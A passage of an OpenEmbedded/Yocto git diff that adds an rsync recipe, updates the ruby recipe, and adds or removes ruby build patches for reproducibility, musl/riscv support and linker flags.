+# GPL-2.0-or-later (<< 3.0.0), GPL-3.0-or-later (>= 3.0.0)
+# Includes opennsh and xxhash dynamic link exception
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=9e5a4f9b3a253d51520617aa54f8eb26"
+
+DEPENDS = "popt"
+
+SRC_URI = "https://download.samba.org/pub/${BPN}/src/${BP}.tar.gz \
+ file://rsyncd.conf \
+ file://makefile-no-rebuild.patch \
+ file://determism.patch \
+ file://0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch \
+ "
+
+SRC_URI[sha256sum] = "becc3c504ceea499f4167a260040ccf4d9f2ef9499ad5683c179a697146ce50e"
+
+# -16548 required for v3.1.3pre1. Already in v3.1.3.
+CVE_CHECK_IGNORE += " CVE-2017-16548 "
+
+inherit autotools-brokensep
+
+PACKAGECONFIG ??= "acl attr \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+
+PACKAGECONFIG[acl] = "--enable-acl-support,--disable-acl-support,acl,"
+PACKAGECONFIG[attr] = "--enable-xattr-support,--disable-xattr-support,attr,"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[lz4] = "--enable-lz4,--disable-lz4,lz4"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+PACKAGECONFIG[xxhash] = "--enable-xxhash,--disable-xxhash,xxhash"
+PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
+
+# By default, if crosscompiling, rsync disables a number of
+# capabilities, hardlinking symlinks and special files (i.e. devices)
+CACHED_CONFIGUREVARS += "rsync_cv_can_hardlink_special=yes rsync_cv_can_hardlink_symlink=yes"
+
+EXTRA_OEMAKE = 'STRIP=""'
+EXTRA_OECONF = "--disable-simd --disable-md2man --disable-asm --with-nobody-group=nogroup"
+
+# rsync 3.0 uses configure.sh instead of configure, and
+# makefile checks the existence of configure.sh
+do_configure:prepend () {
+ rm -f ${S}/configure ${S}/configure.sh
+}
+
+do_configure:append () {
+ cp -f ${S}/configure ${S}/configure.sh
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${WORKDIR}/rsyncd.conf ${D}${sysconfdir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ruby/ruby.inc b/meta/recipes-devtools/ruby/ruby.inc
index ce1b02f012..ebff5efd1f 100644
--- a/meta/recipes-devtools/ruby/ruby.inc
+++ b/meta/recipes-devtools/ruby/ruby.inc
@@ -6,16 +6,15 @@ It is simple, straight-forward, and extensible. \
"
HOMEPAGE = "http://www.ruby-lang.org/"
SECTION = "devel/ruby"
-LICENSE = "Ruby | BSD-2-Clause | BSD-3-Clause | GPLv2 | ISC | MIT"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=340948e1882e579731841bf49cdc22c1 \
- file://BSDL;md5=19aaf65c88a40b508d17ae4be539c4b5\
- file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263\
- file://LEGAL;md5=4ac0b84d1f7f420bca282e1adefc7f99 \
-"
+LICENSE = "Ruby | BSD-2-Clause | BSD-3-Clause | GPL-2.0-only | ISC | MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5b8c87559868796979806100db3f3805 \
+ file://BSDL;md5=8b50bc6de8f586dc66790ba11d064d75 \
+ file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LEGAL;md5=f260190bc1e92e363f0ee3c0463d4c7c \
+ "
-DEPENDS = "ruby-native zlib openssl tcl libyaml gdbm readline libffi"
-DEPENDS_class-native = "openssl-native libyaml-native readline-native zlib-native"
+DEPENDS = "zlib openssl libyaml gdbm readline libffi"
+DEPENDS:append:class-target = " ruby-native"
SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
SRC_URI = "http://cache.ruby-lang.org/pub/ruby/${SHRT_VER}/ruby-${PV}.tar.gz \
@@ -24,7 +23,7 @@ SRC_URI = "http://cache.ruby-lang.org/pub/ruby/${SHRT_VER}/ruby-${PV}.tar.gz \
"
UPSTREAM_CHECK_URI = "https://www.ruby-lang.org/en/downloads/"
-inherit autotools ptest
+inherit autotools ptest pkgconfig
# This snippet lets compiled extensions which rely on external libraries,
@@ -34,7 +33,7 @@ inherit autotools ptest
# that the libraries aren't available and hence that the extension can't be
# built.
-do_configure_prepend() {
+do_configure:prepend() {
sed -i "s#%%TARGET_CFLAGS%%#$CFLAGS#; s#%%TARGET_LDFLAGS%%#$LDFLAGS#" ${S}/common.mk
rm -rf ${S}/ruby/
}
diff --git a/meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch b/meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch
new file mode 100644
index 0000000000..226ef3af75
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch
@@ -0,0 +1,32 @@
+From 2368d07660a93a2c41d63f3ab6054ca4daeef820 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 17 Nov 2020 18:31:40 +0000
+Subject: [PATCH] template/Makefile.in: do not write host cross-cc items into
+ target config
+
+This helps reproducibility.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ template/Makefile.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/template/Makefile.in b/template/Makefile.in
+index 10dc826..940ee07 100644
+--- a/template/Makefile.in
++++ b/template/Makefile.in
+@@ -657,11 +657,11 @@ mjit_config.h:
+ echo '#endif'; \
+ quote MJIT_MIN_HEADER_NAME "$(MJIT_MIN_HEADER_NAME)"; \
+ sep=,; \
+- quote "MJIT_CC_COMMON " $(MJIT_CC); \
++ quote "MJIT_CC_COMMON " ; \
+ quote "MJIT_CFLAGS MJIT_ARCHFLAG" $(MJIT_CFLAGS); \
+ quote "MJIT_OPTFLAGS " $(MJIT_OPTFLAGS); \
+ quote "MJIT_DEBUGFLAGS " $(MJIT_DEBUGFLAGS); \
+- quote "MJIT_LDSHARED " $(MJIT_LDSHARED); \
++ quote "MJIT_LDSHARED " ; \
+ quote "MJIT_DLDFLAGS MJIT_ARCHFLAG" $(MJIT_DLDFLAGS); \
+ quote "MJIT_LIBS " $(LIBRUBYARG_SHARED); \
+ quote 'PRELOADENV "@PRELOADENV@"'; \
diff --git a/meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch b/meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch
new file mode 100644
index 0000000000..f7b7adb3fd
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch
@@ -0,0 +1,34 @@
+From dfb22e4d6662bf72879eda806eaa78c7b52b519e Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 25 Jan 2022 20:29:14 -0800
+Subject: [PATCH] vm_dump.c: Define REG_S1 and REG_S2 for musl/riscv
+
+These defines are missing in musl, there is a possible
+patch to add them to musl, but we need a full list of
+these names for mcontext that can be added once for all
+
+Upstream-Status: Inappropriate [musl bug]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ vm_dump.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/vm_dump.c b/vm_dump.c
+index a98f5aa..957b785 100644
+--- a/vm_dump.c
++++ b/vm_dump.c
+@@ -39,6 +39,11 @@
+
+ #define MAX_POSBUF 128
+
++#if defined(__riscv) && !defined(__GLIBC__)
++# define REG_S1 9
++# define REG_S2 18
++#endif
++
+ #define VM_CFP_CNT(ec, cfp) \
+ ((rb_control_frame_t *)((ec)->vm_stack + (ec)->vm_stack_size) - \
+ (rb_control_frame_t *)(cfp))
+--
+2.35.0
+
diff --git a/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch b/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
index 5979d8bd73..4b954e439b 100644
--- a/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
+++ b/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
@@ -1,27 +1,25 @@
-From 6d608326970b1613633d7715ebb7d628dfcd16ee Mon Sep 17 00:00:00 2001
+From 07fd1ada322eda6c05ac45c08fc814976f31b596 Mon Sep 17 00:00:00 2001
From: Christopher Larson <chris_larson@mentor.com>
Date: Thu, 5 May 2016 10:59:07 -0700
-Subject: [PATCH 2/3] Obey LDFLAGS for the link of libruby
+Subject: [PATCH] Obey LDFLAGS for the link of libruby
Signed-off-by: Christopher Larson <chris_larson@mentor.com>
Upstream-Status: Pending
+
---
- Makefile.in | 2 +-
+ template/Makefile.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/Makefile.in b/Makefile.in
-index fa1e19ef37..bbd07fa34b 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -109,7 +109,7 @@ MISSING = @LIBOBJS@ @ALLOCA@
- ENABLE_SHARED = @ENABLE_SHARED@
+diff --git a/template/Makefile.in b/template/Makefile.in
+index f5a3149..5cc75ae 100644
+--- a/template/Makefile.in
++++ b/template/Makefile.in
+@@ -114,7 +114,7 @@ ENABLE_SHARED = @ENABLE_SHARED@
LDSHARED = @LIBRUBY_LDSHARED@
DLDSHARED = @DLDSHARED@
+ XDLDFLAGS = @DLDFLAGS@
-DLDFLAGS = @LIBRUBY_DLDFLAGS@ $(XLDFLAGS) $(ARCH_FLAG)
+DLDFLAGS = @LIBRUBY_DLDFLAGS@ @LDFLAGS@ $(XLDFLAGS) $(ARCH_FLAG)
SOLIBS = @SOLIBS@
ENABLE_DEBUG_ENV = @ENABLE_DEBUG_ENV@
MAINLIBS = @MAINLIBS@
---
-2.23.0.rc1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch b/meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch
new file mode 100644
index 0000000000..2efbad7513
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch
@@ -0,0 +1,42 @@
+Subject: [PATCH] template/Makefile.in: filter out -f*prefix-map
+
+If we add DEBUG_PREFIX_MAP into LDFLAGS, ruby and ruby-dbg are no longer
+reproducible. Fix this.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Tony Battersby <tonyb@cybernetics.com>
+---
+--- a/tool/mjit_archflag.sh
++++ b/tool/mjit_archflag.sh
+@@ -7,6 +7,20 @@ quote() {
+ echo
+ }
+
++quote_filtered() {
++ printf "#${indent}define $1"
++ while shift && [ "$#" -gt 0 ]; do
++ case "$1" in
++ -ffile-prefix-map=*|-fdebug-prefix-map=*|-fmacro-prefix-map=*)
++ ;;
++ *)
++ printf ' "%s"'$sep "$1"
++ ;;
++ esac
++ done
++ echo
++}
++
+ archs=""
+ arch_flag=""
+
+--- a/template/Makefile.in
++++ b/template/Makefile.in
+@@ -666,7 +666,7 @@ mjit_config.h:
+ quote "MJIT_OPTFLAGS " $(MJIT_OPTFLAGS); \
+ quote "MJIT_DEBUGFLAGS " $(MJIT_DEBUGFLAGS); \
+ quote "MJIT_LDSHARED " ; \
+- quote "MJIT_DLDFLAGS MJIT_ARCHFLAG" $(MJIT_DLDFLAGS); \
++ quote_filtered "MJIT_DLDFLAGS MJIT_ARCHFLAG" $(MJIT_DLDFLAGS); \
+ quote "MJIT_LIBS " $(LIBRUBYARG_SHARED); \
+ quote 'PRELOADENV "@PRELOADENV@"'; \
+ indent=$${archs:+' '}; \
diff --git a/meta/recipes-devtools/ruby/ruby/0003-configure.ac-check-finite-isinf-isnan-as-macros-firs.patch b/meta/recipes-devtools/ruby/ruby/0003-configure.ac-check-finite-isinf-isnan-as-macros-firs.patch
deleted file mode 100644
index 1a8cff3e8c..0000000000
--- a/meta/recipes-devtools/ruby/ruby/0003-configure.ac-check-finite-isinf-isnan-as-macros-firs.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From bd71b698bf733e6e93282cd2b1b93f51e1a33c7c Mon Sep 17 00:00:00 2001
-From: nobu <nobu@b2dd03c8-39d4-4d8f-98ff-823fe69b080e>
-Date: Fri, 8 Feb 2019 07:22:55 +0000
-Subject: [PATCH 3/3] configure.ac: check finite,isinf,isnan as macros first
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-[ruby-core:91487] [Bug #15595]
-
-git-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@67036 b2dd03c8-39d4-4d8f-98ff-823fe69b080e
-
----
-Upstream-Status: Backport [https://github.com/ruby/ruby/commit/74f94b3e6ebf15b76f3b357e754095412b006e94]
-Signed-off-by: André Draszik <andre.draszik@jci.com>
----
- aclocal.m4 | 1 +
- configure.ac | 13 ++++---------
- tool/m4/ruby_replace_funcs.m4 | 13 +++++++++++++
- 3 files changed, 18 insertions(+), 9 deletions(-)
- create mode 100644 tool/m4/ruby_replace_funcs.m4
-
-diff --git a/aclocal.m4 b/aclocal.m4
-index b0fe3eb959..ed7d14ef63 100644
---- a/aclocal.m4
-+++ b/aclocal.m4
-@@ -35,6 +35,7 @@ m4_include([tool/m4/ruby_func_attribute.m4])
- m4_include([tool/m4/ruby_mingw32.m4])
- m4_include([tool/m4/ruby_prepend_option.m4])
- m4_include([tool/m4/ruby_prog_gnu_ld.m4])
-+m4_include([tool/m4/ruby_replace_funcs.m4])
- m4_include([tool/m4/ruby_replace_type.m4])
- m4_include([tool/m4/ruby_rm_recursive.m4])
- m4_include([tool/m4/ruby_setjmp_type.m4])
-diff --git a/configure.ac b/configure.ac
-index 2c4d2888d2..2691da6a3c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -946,9 +946,6 @@ main()
- ac_cv_func_fsync=yes
- ac_cv_func_seekdir=yes
- ac_cv_func_telldir=yes
-- ac_cv_func_isinf=yes
-- ac_cv_func_isnan=yes
-- ac_cv_func_finite=yes
- ac_cv_func_lchown=yes
- ac_cv_func_link=yes
- ac_cv_func_readlink=yes
-@@ -999,9 +996,6 @@ main()
- [netbsd*], [ LIBS="-lm $LIBS"
- ],
- [dragonfly*], [ LIBS="-lm $LIBS"
-- # isinf() and isnan() are macros on DragonFly.
-- ac_cv_func_isinf=yes
-- ac_cv_func_isnan=yes
- ],
- [aix*],[ LIBS="-lm $LIBS"
- ac_cv_func_round=no
-@@ -1724,11 +1718,8 @@ AC_REPLACE_FUNCS(dup2)
- AC_REPLACE_FUNCS(erf)
- AC_REPLACE_FUNCS(explicit_bzero)
- AC_REPLACE_FUNCS(ffs)
--AC_REPLACE_FUNCS(finite)
- AC_REPLACE_FUNCS(flock)
- AC_REPLACE_FUNCS(hypot)
--AC_REPLACE_FUNCS(isinf)
--AC_REPLACE_FUNCS(isnan)
- AC_REPLACE_FUNCS(lgamma_r)
- AC_REPLACE_FUNCS(memmove)
- AC_REPLACE_FUNCS(nan)
-@@ -1741,6 +1732,10 @@ AC_REPLACE_FUNCS(strlcpy)
- AC_REPLACE_FUNCS(strstr)
- AC_REPLACE_FUNCS(tgamma)
-
-+RUBY_REPLACE_FUNC([finite], [@%:@include <math.h>])
-+RUBY_REPLACE_FUNC([isinf], [@%:@include <math.h>])
-+RUBY_REPLACE_FUNC([isnan], [@%:@include <math.h>])
-+
- # for missing/setproctitle.c
- AS_CASE(["$target_os"],
- [aix* | k*bsd*-gnu | kopensolaris*-gnu | linux* | darwin*], [AC_DEFINE(SPT_TYPE,SPT_REUSEARGV)],
-diff --git a/tool/m4/ruby_replace_funcs.m4 b/tool/m4/ruby_replace_funcs.m4
-new file mode 100644
-index 0000000000..d0612e29a0
---- /dev/null
-+++ b/tool/m4/ruby_replace_funcs.m4
-@@ -0,0 +1,13 @@
-+# -*- Autoconf -*-
-+dnl RUBY_REPLACE_FUNC [func] [included]
-+AC_DEFUN([RUBY_REPLACE_FUNC], [dnl
-+ AC_CHECK_DECL([$1],dnl
-+ [AC_DEFINE(AS_TR_CPP(HAVE_[$1]))],dnl
-+ [AC_REPLACE_FUNCS($1)],dnl
-+ [$2])dnl
-+])
-+
-+dnl RUBY_REPLACE_FUNCS [funcs] [included]
-+AC_DEFUN([RUBY_REPLACE_FUNCS] [dnl
-+ m4_map_args_w([$1], [RUBY_REPLACE_FUNC(], [), [$2]])dnl
-+])
---
-2.23.0.rc1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch b/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch
new file mode 100644
index 0000000000..f92f0e1ba6
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch
@@ -0,0 +1,35 @@
+From: Christian Hofstaedtler <zeha@debian.org>
+Date: Tue, 10 Oct 2017 15:04:34 -0300
+Subject: rdoc: build reproducible documentation
+
+- provide a fixed timestamp to the gzip compression
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Christian Hofstaedtler <zeha@debian.org>
+---
+ lib/rdoc/generator/json_index.rb | 4 ++--
+ lib/rdoc/rdoc.rb | 2 +-
+ 2 files changed, 3 insertions(+), 3 deletions(-)
+
+--- a/lib/rdoc/generator/json_index.rb
++++ b/lib/rdoc/generator/json_index.rb
+@@ -178,7 +178,7 @@
+ debug_msg "Writing gzipped search index to %s" % outfile
+
+ Zlib::GzipWriter.open(outfile) do |gz|
+- gz.mtime = File.mtime(search_index_file)
++ gz.mtime = -1
+ gz.orig_name = search_index_file.basename.to_s
+ gz.write search_index
+ gz.close
+@@ -196,7 +196,7 @@
+ debug_msg "Writing gzipped file to %s" % outfile
+
+ Zlib::GzipWriter.open(outfile) do |gz|
+- gz.mtime = File.mtime(dest)
++ gz.mtime = -1
+ gz.orig_name = dest.basename.to_s
+ gz.write data
+ gz.close
diff --git a/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch b/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch
new file mode 100644
index 0000000000..e0aca0dcfc
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch
@@ -0,0 +1,28 @@
+From: Reiner Herrmann <reiner@reiner-h.de>
+Date: Tue, 10 Oct 2017 15:06:13 -0300
+Subject: lib/mkmf.rb: sort list of object files in generated Makefile
+
+Without sorting the list explicitly, its order is indeterministic,
+because readdir() is also not deterministic.
+When the list of object files varies between builds, they are linked
+in a different order, which results in an unreproducible build.
+
+Upstream-Status: Backport [debian]
+
+Signed-off-by: Antonio Terceiro <terceiro@debian.org>
+Signed-off-by: Reiner Herrmann <reiner@reiner-h.de>
+---
+ lib/mkmf.rb | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/lib/mkmf.rb
++++ b/lib/mkmf.rb
+@@ -2315,7 +2315,7 @@
+ LIBS = #{$LIBRUBYARG} #{$libs} #{$LIBS}
+ ORIG_SRCS = #{orig_srcs.collect(&File.method(:basename)).join(' ')}
+ SRCS = $(ORIG_SRCS) #{(srcs - orig_srcs).collect(&File.method(:basename)).join(' ')}
+-OBJS = #{$objs.join(" ")}
++OBJS = #{$objs.sort.join(" ")}
+ HDRS = #{hdrs.map{|h| '$(srcdir)/' + File.basename(h)}.join(' ')}
+ LOCAL_HDRS = #{$headers.join(' ')}
+ TARGET = #{target}
diff --git a/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch b/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch
new file mode 100644
index 0000000000..41f206523e
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch
@@ -0,0 +1,31 @@
+From 6e1dc610724a7aa8368cbcddf4bbe21cccc0f731 Mon Sep 17 00:00:00 2001
+From: Lucas Kanashiro <kanashiro@debian.org>
+Date: Fri, 1 Nov 2019 15:25:17 -0300
+Subject: [PATCH] Make gemspecs reproducible
+
+Without an explicit date, they will get the current date and make the
+build unreproducible
+
+Upstream-Status: Backport [debian]
+---
+ lib/rubygems/specification.rb | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/lib/rubygems/specification.rb b/lib/rubygems/specification.rb
+index 0d72cee..eb7bc25 100644
+--- a/lib/rubygems/specification.rb
++++ b/lib/rubygems/specification.rb
+@@ -1691,7 +1691,9 @@ class Gem::Specification < Gem::BasicSpecification
+ raise(Gem::InvalidSpecificationException,
+ "invalid date format in specification: #{date.inspect}")
+ end
+- when Time, DateLike then
++ when Time then
++ Time.utc(date.utc.year, date.utc.month, date.utc.day)
++ when DateLike then
+ Time.utc(date.year, date.month, date.day)
+ else
+ TODAY
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch b/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch
new file mode 100644
index 0000000000..1e4a298317
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch
@@ -0,0 +1,81 @@
+From 6e1dc610724a7aa8368cbcddf4bbe21cccc0f731 Mon Sep 17 00:00:00 2001
+From: Lucas Kanashiro <kanashiro@debian.org>
+Date: Fri, 1 Nov 2019 15:25:17 -0300
+Subject: [PATCH] Make gemspecs reproducible
+
+Without an explicit date, they will get the current date and make the
+build unreproducible
+
+Upstream-Status: Backport [debian]
+
+---
+ ext/bigdecimal/bigdecimal.gemspec | 1 +
+ ext/fiddle/fiddle.gemspec | 1 +
+ ext/io/console/io-console.gemspec | 1 +
+ lib/ipaddr.gemspec | 1 +
+ lib/rdoc/rdoc.gemspec | 1 +
+ 5 files changed, 5 insertions(+)
+
+diff --git a/ext/bigdecimal/bigdecimal.gemspec b/ext/bigdecimal/bigdecimal.gemspec
+index fd49c1b..5b8bb00 100644
+--- a/ext/bigdecimal/bigdecimal.gemspec
++++ b/ext/bigdecimal/bigdecimal.gemspec
+@@ -4,6 +4,7 @@ Gem::Specification.new do |s|
+ s.name = "bigdecimal"
+ s.version = "3.1.1"
+ s.authors = ["Kenta Murata", "Zachary Scott", "Shigeo Kobayashi"]
++ s.date = RUBY_RELEASE_DATE
+ s.email = ["mrkn@mrkn.jp"]
+
+ s.summary = "Arbitrary-precision decimal floating-point number library."
+diff --git a/ext/fiddle/fiddle.gemspec b/ext/fiddle/fiddle.gemspec
+index a9c0ec4..89da078 100644
+--- a/ext/fiddle/fiddle.gemspec
++++ b/ext/fiddle/fiddle.gemspec
+@@ -8,6 +8,7 @@ end
+ Gem::Specification.new do |spec|
+ spec.name = "fiddle"
+ spec.version = version_module::Fiddle::VERSION
++ spec.date = RUBY_RELEASE_DATE
+ spec.authors = ["Aaron Patterson", "SHIBATA Hiroshi"]
+ spec.email = ["aaron@tenderlovemaking.com", "hsbt@ruby-lang.org"]
+
+diff --git a/ext/io/console/io-console.gemspec b/ext/io/console/io-console.gemspec
+index aa57f8a..ba7f8e5 100644
+--- a/ext/io/console/io-console.gemspec
++++ b/ext/io/console/io-console.gemspec
+@@ -4,6 +4,7 @@ _VERSION = "0.5.11"
+ Gem::Specification.new do |s|
+ s.name = "io-console"
+ s.version = _VERSION
++ s.date = RUBY_RELEASE_DATE
+ s.summary = "Console interface"
+ s.email = "nobu@ruby-lang.org"
+ s.description = "add console capabilities to IO instances."
+diff --git a/lib/ipaddr.gemspec b/lib/ipaddr.gemspec
+index 1f4798e..48743cf 100644
+--- a/lib/ipaddr.gemspec
++++ b/lib/ipaddr.gemspec
+@@ -18,6 +18,7 @@ end
+ Gem::Specification.new do |spec|
+ spec.name = "ipaddr"
+ spec.version = version
++ spec.date = RUBY_RELEASE_DATE
+ spec.authors = ["Akinori MUSHA", "Hajimu UMEMOTO"]
+ spec.email = ["knu@idaemons.org", "ume@mahoroba.org"]
+
+diff --git a/lib/rdoc/rdoc.gemspec b/lib/rdoc/rdoc.gemspec
+index 525a15f..f6d0e22 100644
+--- a/lib/rdoc/rdoc.gemspec
++++ b/lib/rdoc/rdoc.gemspec
+@@ -7,6 +7,7 @@ end
+
+ Gem::Specification.new do |s|
+ s.name = "rdoc"
++ s.date = RUBY_RELEASE_DATE
+ s.version = RDoc::VERSION
+
+ s.authors = [
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch b/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
new file mode 100644
index 0000000000..b78e3db892
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch
@@ -0,0 +1,35 @@
+From e74b57febec9bd806e29025e6eeb8091e7021d75 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 26 Jan 2020 11:27:40 -0800
+Subject: [PATCH] Filter out __has_include* compiler defines
+
+They are internal to compiler and this header is later on includes in C
+files, but newer gcc >= 10 complains about it.
+
+error in initial header file:
+| In file included from /tmp/20200124-86625-14hiju4.c:1:
+| /tmp/20200124-86625-11y6l6i.h:13849:9: error: "__has_include" cannot be used as a macro name
+| 13849 | #define __has_include __has_include
+| | ^~~~~~~~~~~~~
+| compilation terminated due to -Wfatal-errors.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ common.mk | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/common.mk b/common.mk
+index 664f750..3b8fbe6 100644
+--- a/common.mk
++++ b/common.mk
+@@ -238,6 +238,8 @@ $(TIMESTAMPDIR)/$(MJIT_HEADER:.h=)$(MJIT_HEADER_SUFFIX).time: probes.h vm.$(OBJE
+ $(ECHO) building $(@F:.time=.h)
+ $(Q)$(MINIRUBY) $(tooldir)/mjit_tabs.rb "$(MJIT_TABS)" \
+ $(CPP) -DMJIT_HEADER $(MJIT_HEADER_FLAGS) $(CFLAGS) $(XCFLAGS) $(CPPFLAGS) $(srcdir)/vm.c $(CPPOUTFLAG)$(@F:.time=.h).new
++ $(Q)sed -i -e "/#define __has_include __has_include/d" $(@F:.time=.h).new
++ $(Q)sed -i -e "/#define __has_include_next __has_include_next/d" $(@F:.time=.h).new
+ $(Q) $(IFCHANGE) "--timestamp=$@" $(@F:.time=.h) $(@F:.time=.h).new
+
+ $(MJIT_HEADER:.h=)$(MJIT_HEADER_SUFFIX).h: $(TIMESTAMPDIR)/$(MJIT_HEADER:.h=)$(MJIT_HEADER_SUFFIX).time
diff --git a/meta/recipes-devtools/ruby/ruby_2.6.5.bb b/meta/recipes-devtools/ruby/ruby_2.6.5.bb
deleted file mode 100644
index 1828f65d51..0000000000
--- a/meta/recipes-devtools/ruby/ruby_2.6.5.bb
+++ /dev/null
@@ -1,77 +0,0 @@
-require ruby.inc
-
-SRC_URI += " \
- file://0003-configure.ac-check-finite-isinf-isnan-as-macros-firs.patch \
- file://run-ptest \
- "
-
-SRC_URI[md5sum] = "8754bfb36d52c2bf1fb3d3ddc7101606"
-SRC_URI[sha256sum] = "66976b716ecc1fd34f9b7c3c2b07bbd37631815377a2e3e85a5b194cfdcbed7d"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG += "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-
-PACKAGECONFIG[valgrind] = "--with-valgrind=yes, --with-valgrind=no, valgrind"
-PACKAGECONFIG[gmp] = "--with-gmp=yes, --with-gmp=no, gmp"
-PACKAGECONFIG[ipv6] = "--enable-ipv6, --disable-ipv6,"
-
-EXTRA_OECONF = "\
- --disable-versioned-paths \
- --disable-rpath \
- --disable-dtrace \
- --enable-shared \
- --enable-load-relative \
- --with-pkg-config=pkg-config \
-"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
-
-do_install_append_class-target () {
- # Find out rbconfig.rb from .installed.list
- rbconfig_rb=`grep rbconfig.rb ${B}/.installed.list`
- # Remove build host directories
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
- -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${D}$rbconfig_rb
-}
-
-do_install_ptest () {
- cp -rf ${S}/test ${D}${PTEST_PATH}/
- # install test-binaries
- find $(find ./.ext -path '*/-test-') -name '*.so' -print0 \
- | tar --no-recursion --null -T - --no-same-owner --preserve-permissions -cf - \
- | tar -C ${D}${libdir}/ruby/${SHRT_VER}.0/ --no-same-owner --preserve-permissions --strip-components=2 -xf -
- # adjust path to not assume build directory layout
- sed -e 's|File.expand_path(.*\.\./bin/erb[^)]*|File.expand_path("${bindir}/erb"|g' \
- -i ${D}${PTEST_PATH}/test/erb/test_erb_command.rb
-
- cp -r ${S}/include ${D}/${libdir}/ruby/
